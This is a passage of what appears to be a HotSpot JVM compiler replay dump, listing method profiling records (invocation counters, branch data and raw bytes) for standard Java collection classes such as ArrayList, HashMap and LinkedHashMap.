17 0x140005 0x1b913 0x0 0x209f05afbc0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 1 3 java/util/ArrayList methods 0\nciMethodData java/util/ArrayList add (Ljava/lang/Object;[Ljava/lang/Object;I)V 2 113180 orig 320 144 166 185 254 252 127 0 0 144 70 217 223 9 2 0 0 40 2 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 1 0 0 185 200 13 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 144 0 0 0 254 255 255 255 7 0 3 0 0 0 0 0 data 30 0x30007 0x1643e 0x58 0x54d9 0x70005 0x54d7 0x0 0x209f05afbc0 0x2 0x0 0x0 0xe0104 0x0 0x0 0x209e04ed750 0xc2c 0x209e9593f10 0x22 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0xc 0x0 0xffffffffffffffff 0x0 oops 3 7 java/util/ArrayList 14 java/lang/Integer 16 jdk/internal/loader/URLClassPath$JarLoader methods 0\nciMethodData java/util/ArrayList grow ()[Ljava/lang/Object; 2 21866 orig 320 144 166 185 254 252 127 0 0 240 55 217 223 9 2 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 0 17 170 2 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 7 0 0 0 0 0 data 16 0x70005 0x552a 0x0 0x209f05afbc0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xc oops 1 3 java/util/ArrayList methods 0\nciMethodData java/util/ArrayList grow (I)[Ljava/lang/Object; 2 25999 orig 320 144 166 185 254 252 127 0 0 64 55 217 223 9 2 0 0 208 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 0 57 43 3 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 5 0 7 0 0 0 0 0 data 19 0x70005 0x6502 0x0 0x209f05afbc0 0x65 0x0 0x0 0xa0002 0x6567 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xc 0x0 oops 1 3 java/util/ArrayList methods 0\nciMethodData java/util/ArrayList newCapacity (I)I 2 5235 orig 320 144 166 185 254 252 127 0 0 8 57 217 223 9 2 0 0 80 2 0 0 160 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 41 0 0 0 81 162 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 21 0 2 0 0 0 0 0 0 0 200 0 0 0 254 255 255 255 7 0 15 0 0 0 0 0 data 35 0xf0007 0x250 0x80 0x11fa 0x190007 0x29 0x30 0x11d1 0x1f0002 0x11d1 0x240007 0x29 0x30 0x0 0x2b0002 0x0 0x350007 0x0 0x38 0x250 0x390003 0x250 0x28 0x3d0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/Arrays copyOf ([Ljava/lang/Object;I)[Ljava/lang/Object; 2 32838 orig 320 144 166 185 254 252 127 0 0 112 92 201 223 9 2 0 0 208 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 0 49 255 3 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 5 0 3 0 0 0 0 0 data 19 0x30005 0x7fe6 0x0 0x0 0x0 0x0 0x0 0x60002 0x7fe6 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0x0 oops 0 methods 0\nciMethodData java/util/HashMap <init> ()V 2 73333 orig 320 144 166 185 254 252 127 0 0 144 113 196 223 9 2 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 1 0 0 41 233 8 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 9 0x10002 0x11d25 0x0 0x0 0x0 0x0 0x9 0x1 0x10 oops 0 methods 0\nciMethod java/util/LinkedHashMap$LinkedValues <init> (Ljava/util/LinkedHashMap;)V 1209 1 6856 0 0\nciMethod java/util/LinkedHashMap$LinkedValues iterator ()Ljava/util/Iterator; 2057 1 5383 0 416\nciMethod java/util/LinkedHashMap$LinkedValueIterator <init> (Ljava/util/LinkedHashMap;)V 2057 1 5383 0 0\nciMethod java/util/LinkedHashMap$LinkedValueIterator next ()Ljava/lang/Object; 2049 1 5700 0 544\nciMethod java/util/LinkedHashMap$LinkedHashIterator <init> (Ljava/util/LinkedHashMap;)V 2057 1 17862 0 0\nciMethod java/util/LinkedHashMap$LinkedHashIterator hasNext ()Z 2049 1 5472 0 64\nciMethod java/util/LinkedHashMap$LinkedHashIterator nextNode ()Ljava/util/LinkedHashMap$Entry; 2049 1 5613 0 544\nciMethodData java/util/ArrayList <init> ()V 2 320798 orig 320 144 166 185 254 252 127 0 0 184 51 217 223 9 2 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 118 0 0 0 65 37 39 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 9 0x10002 0x4e4a8 0x0 0x0 0x0 0x0 0x9 0x1 0xe oops 0 methods 0\nciMethodData java/util/AbstractList <init> ()V 2 347722 orig 320 144 166 185 254 252 127 0 0 104 168 206 223 9 2 0 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 207 0 0 0 217 107 42 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 9 0x10002 0x54d7b 0x0 0x0 0x0 0x0 0x9 0x1 0x6 oops 0 methods 0\nciMethodData java/util/ArrayList addAll (Ljava/util/Collection;)Z 2 5285 orig 320 144 166 185 254 252 127 0 0 120 84 217 223 9 2 0 0 72 2 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 25 165 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 8 0 2 0 0 0 0 0 0 0 192 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 34 0x10005 0x1499 0x0 0x209f5730f60 0x2 0x209f5731010 0x8 0x150007 0x10d1 0x20 0x3d2 0x2b0007 0xb0 0x58 0x1021 0x330005 0xf1a 0x0 0x209f05afbc0 0x107 0x0 0x0 0x3f0002 0x10d1 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0xffffffffffffffff oops 3 3 java/util/ImmutableCollections$List12 5 java/util/ImmutableCollections$ListN 18 java/util/ArrayList methods 0\nciMethodData java/util/ArrayList$Itr hasNext ()Z 2 5383 orig 320 144 166 185 254 252 127 0 0 88 67 223 223 9 2 0 0 168 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 49 160 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 11 0 0 0 0 0 data 14 0xb0007 0x606 0x38 0xe00 0xf0003 0xe00 0x18 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList$Itr checkForComodification ()V 2 12539 orig 320 144 166 185 254 252 127 0 0 128 71 223 223 9 2 0 0 160 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 217 127 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 48 0 0 0 254 255 255 255 7 0 11 0 0 0 0 0 data 13 0xb0007 0x2ffb 0x30 0x0 0x120002 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList$Itr next ()Ljava/lang/Object; 2 5507 orig 320 144 166 185 254 252 127 0 0 96 68 223 223 9 2 0 0 24 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 25 164 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 10 0 2 0 0 0 0 0 0 0 152 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 28 0x10005 0x1483 0x0 0x0 0x0 0x0 0x0 0x110007 0x1483 0x30 0x0 0x180002 0x0 0x270007 0x1483 0x30 0x0 0x2e0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x6 oops 0 methods 0\nciMethodData java/util/ArrayList$Itr <init> (Ljava/util/ArrayList;)V 2 14761 orig 320 144 166 185 254 252 127 0 0 160 66 223 223 9 2 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 57 197 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 6 0 0 0 0 0 data 10 0x60002 0x38a7 0x0 0x0 0x0 0x0 0x9 0x2 0xc 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList iterator ()Ljava/util/Iterator; 2 7132 orig 320 144 166 185 254 252 127 0 0 136 98 217 223 9 2 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 1 0 0 209 214 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 8 0x50002 0x1ada 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedHashIterator hasNext ()Z 2 5472 orig 320 144 166 185 254 252 127 0 0 192 128 25 224 9 2 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1 163 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 16 0x40007 0x8ea 0x38 0xb76 0x80003 0xb76 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedHashIterator nextNode ()Ljava/util/LinkedHashMap$Entry; 2 5613 orig 320 144 166 185 254 252 127 0 0 176 129 25 224 9 2 0 0 224 1 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 105 167 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 7 0 2 0 0 0 0 0 0 0 96 0 0 0 254 255 255 255 7 0 16 0 0 0 0 0 data 21 0x100007 0x14ed 0x30 0x0 0x170002 0x0 0x1c0007 0x14ed 0x30 0x0 0x230002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap$LinkedHashIterator <init> (Ljava/util/LinkedHashMap;)V 2 17862 orig 320 144 166 185 254 252 127 0 0 16 128 25 224 9 2 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 41 38 2 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 6 0 0 0 0 0 data 10 0x60002 0x44c5 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 0 methods 0\nciMethodData java/util/LinkedHashMap <init> (Ljava/util/Map;)V 2 9863 orig 320 144 166 185 254 252 127 0 0 248 27 214 223 9 2 0 0 208 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 236 0 0 0 217 44 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 19 0x10002 0x259b 0xc0005 0x259b 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0xffffffffffffffff oops 0 methods 0\nciMethodData java/util/HashMap putMapEntries (Ljava/util/Map;Z)V 2 13717 orig 320 144 166 185 254 252 127 0 0 16 116 196 223 9 2 0 0 232 4 0 0 136 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 